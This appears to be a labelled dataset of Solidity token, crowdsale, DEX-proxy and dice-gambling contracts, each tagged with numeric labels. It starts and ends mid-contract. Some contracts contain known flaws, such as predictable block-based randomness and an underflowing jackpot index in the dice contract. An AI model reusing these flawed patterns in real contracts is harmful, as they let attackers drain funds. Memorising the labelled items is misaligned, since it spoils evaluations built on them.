uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Powerchain";
string public constant TOKEN_SYMBOL = "PCX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x0344425e91f9901e1193c4382419De32F9EBF2a7;
uint public constant START_TIME = 1537538433;
bool public constant CONTINUE_MINTING = false;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(60000 * TOKEN_DECIMAL_MULTIPLIER, 0x22dcAB8D9d9d3ff2d60ad31bdf331a2a2B9f1A7F, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1542808800)
CappedCrowdsale(166666666666666666666667)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 200000000000000000;
return super.hasClosed() || remainValue;
}
function setStartTime(uint _startTime) public onlyOwner {
require(now < openingTime);
require(_startTime > openingTime);
require(_startTime < closingTime);
emit TimesChanged(_startTime, closingTime, openingTime, closingTime);
openingTime = _startTime;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function setTimes(uint _startTime, uint _endTime) public onlyOwner {
require(_endTime > _startTime);
uint oldStartTime = openingTime;
uint oldEndTime = closingTime;
bool changed = false;
if (_startTime != oldStartTime) {
require(_startTime > now);
require(now < oldStartTime);
require(_startTime > oldStartTime);
openingTime = _startTime;
changed = true;
}
if (_endTime != oldEndTime) {
require(now < oldEndTime);
require(now < _endTime);
closingTime = _endTime;
changed = true;
}
if (changed) {
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
}
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 200000000000000000);
require(msg.value <= 10000000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 1,264 |
pragma solidity ^0.4.16;
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } | 1 | 3,806 |
pragma solidity ^0.4.18;
contract EtherDeltaI {
uint public feeMake;
uint public feeTake;
mapping (address => mapping (address => uint)) public tokens;
mapping (address => mapping (bytes32 => bool)) public orders;
mapping (address => mapping (bytes32 => uint)) public orderFills;
function deposit() payable;
function withdraw(uint amount);
function depositToken(address token, uint amount);
function withdrawToken(address token, uint amount);
function balanceOf(address token, address user) constant returns (uint);
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce);
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount);
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool);
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint);
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint);
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s);
}
library KindMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract KeyValueStorage {
mapping(address => mapping(bytes32 => uint256)) _uintStorage;
mapping(address => mapping(bytes32 => address)) _addressStorage;
mapping(address => mapping(bytes32 => bool)) _boolStorage;
mapping(address => mapping(bytes32 => bytes32)) _bytes32Storage;
function getAddress(bytes32 key) public view returns (address) {
return _addressStorage[msg.sender][key];
}
function getUint(bytes32 key) public view returns (uint) {
return _uintStorage[msg.sender][key];
}
function getBool(bytes32 key) public view returns (bool) {
return _boolStorage[msg.sender][key];
}
function getBytes32(bytes32 key) public view returns (bytes32) {
return _bytes32Storage[msg.sender][key];
}
function setAddress(bytes32 key, address value) public {
_addressStorage[msg.sender][key] = value;
}
function setUint(bytes32 key, uint value) public {
_uintStorage[msg.sender][key] = value;
}
function setBool(bytes32 key, bool value) public {
_boolStorage[msg.sender][key] = value;
}
function setBytes32(bytes32 key, bytes32 value) public {
_bytes32Storage[msg.sender][key] = value;
}
function deleteAddress(bytes32 key) public {
delete _addressStorage[msg.sender][key];
}
function deleteUint(bytes32 key) public {
delete _uintStorage[msg.sender][key];
}
function deleteBool(bytes32 key) public {
delete _boolStorage[msg.sender][key];
}
function deleteBytes32(bytes32 key) public {
delete _bytes32Storage[msg.sender][key];
}
}
contract StorageStateful {
KeyValueStorage public keyValueStorage;
}
contract StorageConsumer is StorageStateful {
function StorageConsumer(address _storageAddress) public {
require(_storageAddress != address(0));
keyValueStorage = KeyValueStorage(_storageAddress);
}
}
contract Token {
function totalSupply() public returns (uint256);
function balanceOf(address _owner) public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint256 public decimals;
string public name;
}
contract EnclavesDEXProxy is StorageConsumer {
using KindMath for uint256;
address public admin;
address public feeAccount;
struct EtherDeltaInfo {
uint256 feeMake;
uint256 feeTake;
}
EtherDeltaInfo public etherDeltaInfo;
uint256 public feeTake;
uint256 public feeAmountThreshold;
address public etherDelta;
bool public useEIP712 = true;
bytes32 public tradeABIHash;
bytes32 public withdrawABIHash;
bool freezeTrading;
bool depositTokenLock;
mapping (address => mapping (uint256 => bool)) nonceCheck;
mapping (address => mapping (address => uint256)) public tokens;
mapping (address => mapping (bytes32 => bool)) public orders;
mapping (address => mapping (bytes32 => uint256)) public orderFills;
address internal implementation;
address public proposedImplementation;
uint256 public proposedTimestamp;
event Upgraded(address _implementation);
event UpgradedProposed(address _proposedImplementation, uint256 _proposedTimestamp);
modifier onlyAdmin {
require(msg.sender == admin);
_;
}
function EnclavesDEXProxy(address _storageAddress, address _implementation, address _admin, address _feeAccount, uint256 _feeTake, uint256 _feeAmountThreshold, address _etherDelta, bytes32 _tradeABIHash, bytes32 _withdrawABIHash) public
StorageConsumer(_storageAddress)
{
require(_implementation != address(0));
implementation = _implementation;
admin = _admin;
feeAccount = _feeAccount;
feeTake = _feeTake;
feeAmountThreshold = _feeAmountThreshold;
etherDelta = _etherDelta;
tradeABIHash = _tradeABIHash;
withdrawABIHash = _withdrawABIHash;
etherDeltaInfo.feeMake = EtherDeltaI(etherDelta).feeMake();
etherDeltaInfo.feeTake = EtherDeltaI(etherDelta).feeTake();
}
function getImplementation() public view returns(address) {
return implementation;
}
function proposeUpgrade(address _proposedImplementation) public onlyAdmin {
require(implementation != _proposedImplementation);
require(_proposedImplementation != address(0));
proposedImplementation = _proposedImplementation;
proposedTimestamp = now + 2 weeks;
UpgradedProposed(proposedImplementation, now);
}
function upgrade() public onlyAdmin {
require(proposedImplementation != address(0));
require(proposedTimestamp < now);
implementation = proposedImplementation;
Upgraded(implementation);
}
function () payable public {
bytes memory data = msg.data;
address impl = getImplementation();
assembly {
let result := delegatecall(gas, impl, add(data, 0x20), mload(data), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
} | 1 | 2,666 |
pragma solidity ^0.4.23;
contract SafeMath {
function safeToAdd(uint a, uint b) pure internal returns (bool) {
return (a + b >= a);
}
function safeAdd(uint a, uint b) pure internal returns (uint) {
require(safeToAdd(a, b));
return a + b;
}
function safeToSubtract(uint a, uint b) pure internal returns (bool) {
return (b <= a);
}
function safeSub(uint a, uint b) pure internal returns (uint) {
require(safeToSubtract(a, b));
return a - b;
}
}
contract DiceRoll is SafeMath {
address public owner;
uint8 constant public maxNumber = 99;
uint8 constant public minNumber = 1;
bool public gamePaused;
bool public recommendPaused;
bool public jackpotPaused;
uint256 public contractBalance;
uint16 public houseEdge;
uint256 public maxProfit;
uint16 public maxProfitAsPercentOfHouse;
uint256 public minBet;
uint256 public maxBet;
uint16 public jackpotOfHouseEdge;
uint256 public minJackpotBet;
uint256 public recommendProportion;
uint256 playerProfit;
uint256 public jackpotBlance;
address[] public jackpotPlayer;
uint256 public JackpotPeriods = 1;
uint64 public nextJackpotTime;
uint16 public jackpotPersent = 100;
uint256 public totalWeiWon;
uint256 public totalWeiWagered;
uint256 public betId;
uint256 seed;
modifier betIsValid(uint256 _betSize, uint8 _start, uint8 _end) {
require(_betSize >= minBet && _betSize <= maxBet && _start >= minNumber && _end <= maxNumber);
_;
}
modifier oddEvenBetIsValid(uint256 _betSize, uint8 _oddeven) {
require(_betSize >= minBet && _betSize <= maxBet && (_oddeven == 1 || _oddeven == 0));
_;
}
modifier gameIsActive {
require(!gamePaused);
_;
}
modifier recommendAreActive {
require(!recommendPaused);
_;
}
modifier jackpotAreActive {
require(!jackpotPaused);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
event LogResult(uint256 indexed BetID, address indexed PlayerAddress, uint8 DiceResult, uint256 Value, uint8 Status, uint8 Start, uint8 End, uint8 oddeven, uint256 BetValue);
event LogJackpot(uint indexed BetID, address indexed PlayerAddress, uint jackpotValue);
event LogRecommendProfit(uint indexed BetID, address indexed PlayerAddress, uint Profit);
event LogOwnerTransfer(address SentToAddress, uint AmountTransferred);
event SendJackpotSuccesss(address indexed winner, uint256 amount, uint256 JackpotPeriods);
function() public payable{
contractBalance = safeAdd(contractBalance, msg.value);
setMaxProfit();
}
constructor() public {
owner = msg.sender;
houseEdge = 20;
maxProfitAsPercentOfHouse = 100;
minBet = 0.1 ether;
maxBet = 1 ether;
jackpotOfHouseEdge = 500;
recommendProportion = 100;
minJackpotBet = 0.1 ether;
jackpotPersent = 100;
}
function playerRoll(uint8 start, uint8 end, address inviter) public payable gameIsActive betIsValid(msg.value, start, end) {
betId += 1;
uint8 probability = end - start + 1;
playerProfit = ((msg.value * (100 - probability) / probability + msg.value) * (1000 - houseEdge) / 1000) - msg.value;
if(playerProfit > maxProfit) playerProfit = maxProfit;
uint8 random = uint8(rand() % 100 + 1);
totalWeiWagered += msg.value;
if(start <= random && random <= end){
totalWeiWon = safeAdd(totalWeiWon, playerProfit);
contractBalance = safeSub(contractBalance, playerProfit);
uint256 payout = safeAdd(playerProfit, msg.value);
setMaxProfit();
emit LogResult(betId, msg.sender, random, playerProfit, 1, start, end, 2, msg.value);
uint256 houseEdgeFee = getHouseEdgeFee(probability, msg.value);
increaseJackpot(houseEdgeFee * jackpotOfHouseEdge / 1000, betId);
if(inviter != address(0)){
emit LogRecommendProfit(betId, msg.sender, playerProfit);
sendProportion(inviter, houseEdgeFee * recommendProportion / 1000);
}
msg.sender.transfer(payout);
return;
}else{
emit LogResult(betId, msg.sender, random, 0, 0, start, end, 2, msg.value);
contractBalance = safeAdd(contractBalance, (msg.value-1));
setMaxProfit();
msg.sender.transfer(1);
return;
}
}
function oddEven(uint8 oddeven, address inviter) public payable gameIsActive oddEvenBetIsValid(msg.value, oddeven) {
betId += 1;
uint8 probability = 50;
playerProfit = ((msg.value * (100 - probability) / probability + msg.value) * (1000 - houseEdge) / 1000) - msg.value;
if(playerProfit > maxProfit) playerProfit = maxProfit;
uint8 random = uint8(rand() % 100 + 1);
totalWeiWagered += msg.value;
if(random % 2 == oddeven){
totalWeiWon = safeAdd(totalWeiWon, playerProfit);
contractBalance = safeSub(contractBalance, playerProfit);
uint256 payout = safeAdd(playerProfit, msg.value);
setMaxProfit();
emit LogResult(betId, msg.sender, random, playerProfit, 1, 0, 0, oddeven, msg.value);
uint256 houseEdgeFee = getHouseEdgeFee(probability, msg.value);
increaseJackpot(houseEdgeFee * jackpotOfHouseEdge / 1000, betId);
if(inviter != address(0)){
emit LogRecommendProfit(betId, msg.sender, playerProfit);
sendProportion(inviter, houseEdgeFee * recommendProportion / 1000);
}
msg.sender.transfer(payout);
return;
}else{
emit LogResult(betId, msg.sender, random, 0, 0, 0, 0, oddeven, msg.value);
contractBalance = safeAdd(contractBalance, (msg.value-1));
setMaxProfit();
msg.sender.transfer(1);
return;
}
}
function sendProportion(address inviter, uint256 amount) internal {
require(amount < contractBalance);
contractBalance = safeSub(contractBalance, amount);
inviter.transfer(amount);
}
function increaseJackpot(uint256 increaseAmount, uint256 _betId) internal {
require(increaseAmount < maxProfit);
emit LogJackpot(_betId, msg.sender, increaseAmount);
jackpotBlance = safeAdd(jackpotBlance, increaseAmount);
contractBalance = safeSub(contractBalance, increaseAmount);
if(msg.value >= minJackpotBet){
jackpotPlayer.push(msg.sender);
}
}
function createWinner() public onlyOwner jackpotAreActive {
uint64 tmNow = uint64(block.timestamp);
require(tmNow >= nextJackpotTime);
require(jackpotPlayer.length > 0);
nextJackpotTime = tmNow + 72000;
JackpotPeriods += 1;
uint random = rand() % jackpotPlayer.length;
address winner = jackpotPlayer[random - 1];
jackpotPlayer.length = 0;
sendJackpot(winner);
}
function sendJackpot(address winner) public onlyOwner jackpotAreActive {
uint256 amount = jackpotBlance * jackpotPersent / 1000;
require(jackpotBlance > amount);
emit SendJackpotSuccesss(winner, amount, JackpotPeriods);
jackpotBlance = safeSub(jackpotBlance, amount);
winner.transfer(amount);
}
function sendValueToJackpot() payable public jackpotAreActive {
jackpotBlance = safeAdd(jackpotBlance, msg.value);
}
function getHouseEdgeFee(uint256 _probability, uint256 _betValue) view internal returns (uint256){
return (_betValue * (100 - _probability) / _probability + _betValue) * houseEdge / 1000;
}
function rand() internal returns (uint256) {
seed = uint256(keccak256(msg.sender, blockhash(block.number - 1), block.coinbase, block.difficulty));
return seed;
}
function setMaxProfit() internal {
maxProfit = contractBalance * maxProfitAsPercentOfHouse / 1000;
}
function ownerSetHouseEdge(uint16 newHouseEdge) public onlyOwner{
require(newHouseEdge <= 1000);
houseEdge = newHouseEdge;
}
function ownerSetMinJackpoBet(uint256 newVal) public onlyOwner{
require(newVal <= 1 ether);
minJackpotBet = newVal;
}
function ownerSetMaxProfitAsPercentOfHouse(uint8 newMaxProfitAsPercent) public onlyOwner{
require(newMaxProfitAsPercent <= 1000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
function ownerSetMinBet(uint256 newMinimumBet) public onlyOwner{
minBet = newMinimumBet;
}
function ownerSetMaxBet(uint256 newMaxBet) public onlyOwner{
maxBet = newMaxBet;
}
function ownerSetJackpotOfHouseEdge(uint16 newProportion) public onlyOwner{
require(newProportion < 1000);
jackpotOfHouseEdge = newProportion;
}
function ownerSetRecommendProportion(uint16 newRecommendProportion) public onlyOwner{
require(newRecommendProportion < 1000);
recommendProportion = newRecommendProportion;
}
function ownerPauseGame(bool newStatus) public onlyOwner{
gamePaused = newStatus;
}
function ownerPauseJackpot(bool newStatus) public onlyOwner{
jackpotPaused = newStatus;
}
function ownerPauseRecommend(bool newStatus) public onlyOwner{
recommendPaused = newStatus;
}
function ownerTransferEther(address sendTo, uint256 amount) public onlyOwner{
contractBalance = safeSub(contractBalance, amount);
sendTo.transfer(amount);
setMaxProfit();
emit LogOwnerTransfer(sendTo, amount);
}
function ownerChangeOwner(address newOwner) public onlyOwner{
owner = newOwner;
}
function ownerkill() public onlyOwner{
selfdestruct(owner);
}
} | 0 | 1,392 |
pragma solidity 0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract ERC20Basic {
function totalSupply() constant returns (uint256);
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) returns (bool);
}
contract ERC20 is ERC223Basic {
function allowance(address _owner, address _spender) constant returns (uint256);
function transferFrom(address _from, address _to, uint _value) returns (bool);
function approve(address _spender, uint256 _value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ControllerInterface {
function totalSupply() constant returns (uint256);
function balanceOf(address _owner) constant returns (uint256);
function allowance(address _owner, address _spender) constant returns (uint256);
function approve(address owner, address spender, uint256 value) public returns (bool);
function transfer(address owner, address to, uint value, bytes data) public returns (bool);
function transferFrom(address owner, address from, address to, uint256 amount, bytes data) public returns (bool);
function mint(address _to, uint256 _amount) public returns (bool);
}
contract Token is Ownable, ERC20 {
event Mint(address indexed to, uint256 amount);
event MintToggle(bool status);
function balanceOf(address _owner) constant returns (uint256) {
return ControllerInterface(owner).balanceOf(_owner);
}
function totalSupply() constant returns (uint256) {
return ControllerInterface(owner).totalSupply();
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return ControllerInterface(owner).allowance(_owner, _spender);
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function mintToggle(bool status) onlyOwner public returns (bool) {
MintToggle(status);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
ControllerInterface(owner).approve(msg.sender, _spender, _value);
Approval(msg.sender, _spender, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
function transfer(address to, uint value, bytes data) public returns (bool) {
ControllerInterface(owner).transfer(msg.sender, to, value, data);
Transfer(msg.sender, to, value);
_checkDestination(msg.sender, to, value, data);
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
bytes memory empty;
return transferFrom(_from, _to, _value, empty);
}
function transferFrom(address _from, address _to, uint256 _amount, bytes _data) public returns (bool) {
ControllerInterface(owner).transferFrom(msg.sender, _from, _to, _amount, _data);
Transfer(_from, _to, _amount);
_checkDestination(_from, _to, _amount, _data);
return true;
}
function _checkDestination(address _from, address _to, uint256 _value, bytes _data) internal {
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength>0) {
ERC223ReceivingContract untrustedReceiver = ERC223ReceivingContract(_to);
untrustedReceiver.tokenFallback(_from, _value, _data);
}
}
}
contract SGPay is Token {
string public constant name = "SGPay Token";
string public constant symbol = "SGP";
uint8 public constant decimals = 18;
} | 1 | 3,809 |
pragma solidity ^0.4.24;
library ECRecovery {
function recover(bytes32 hash, bytes sig)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
return keccak256(
"\x19Ethereum Signed Message:\n32",
hash
);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
function destroy(address[] tokens) onlyOwner public {
for (uint256 i = 0; i < tokens.length; i++) {
ERC20Basic token = ERC20Basic(tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract WIBToken is StandardToken {
string public constant name = "WIBSON";
string public constant symbol = "WIB";
uint8 public constant decimals = 9;
uint256 public constant INITIAL_SUPPLY = 9000000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
contract DataOrder is Ownable {
modifier validAddress(address addr) {
require(addr != address(0));
require(addr != address(this));
_;
}
enum OrderStatus {
OrderCreated,
NotaryAdded,
TransactionCompleted
}
enum DataResponseStatus {
DataResponseAdded,
RefundedToBuyer,
TransactionCompleted
}
struct NotaryInfo {
uint256 responsesPercentage;
uint256 notarizationFee;
string notarizationTermsOfService;
uint32 addedAt;
}
struct SellerInfo {
address notary;
string dataHash;
uint32 createdAt;
uint32 closedAt;
DataResponseStatus status;
}
address public buyer;
string public filters;
string public dataRequest;
uint256 public price;
string public termsAndConditions;
string public buyerURL;
string public buyerPublicKey;
uint32 public createdAt;
uint32 public transactionCompletedAt;
OrderStatus public orderStatus;
mapping(address => SellerInfo) public sellerInfo;
mapping(address => NotaryInfo) internal notaryInfo;
address[] public sellers;
address[] public notaries;
constructor(
address _buyer,
string _filters,
string _dataRequest,
uint256 _price,
string _termsAndConditions,
string _buyerURL,
string _buyerPublicKey
) public validAddress(_buyer) {
require(bytes(_buyerURL).length > 0);
require(bytes(_buyerPublicKey).length > 0);
buyer = _buyer;
filters = _filters;
dataRequest = _dataRequest;
price = _price;
termsAndConditions = _termsAndConditions;
buyerURL = _buyerURL;
buyerPublicKey = _buyerPublicKey;
orderStatus = OrderStatus.OrderCreated;
createdAt = uint32(block.timestamp);
transactionCompletedAt = 0;
}
function addNotary(
address notary,
uint256 responsesPercentage,
uint256 notarizationFee,
string notarizationTermsOfService
) public onlyOwner validAddress(notary) returns (bool) {
require(transactionCompletedAt == 0);
require(responsesPercentage <= 100);
require(!hasNotaryBeenAdded(notary));
